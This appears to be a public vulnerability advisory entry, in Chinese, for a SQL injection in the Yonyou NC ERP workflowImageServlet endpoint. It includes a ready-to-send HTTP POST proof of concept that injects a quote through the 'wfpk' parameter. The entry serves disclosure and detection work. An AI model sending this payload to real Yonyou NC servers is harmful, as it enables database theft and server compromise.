用友 NC /portal/pt/servlet/workflowImageServlet/doPost SQL 注入漏洞

2026-02-25 用友NC PoC Public

Description

用友NC是一套企业资源规划（ERP）系统，旨在帮助企业提高运营效率、优化资源利用和提升管理水平。该漏洞存在于用友NC系统的 /portal/pt/servlet/workflowImageServlet/doPost 接口中，攻击者可以通过构造恶意的SQL语句，获取数据库中的敏感信息（如管理员密码、用户个人信息），甚至在高权限情况下向服务器写入恶意代码，进一步获取系统权限。

PoC

POST /portal/pt/servlet/workflowImageServlet/doPost?pageId=login HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cache-Control: max-age=0

wfpk=1'&proInsPk=t

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Yonyou NC /portal/pt/servlet/workflowImageServlet/doPost SQL Injection Vulnerability

References

Related Vulnerabilities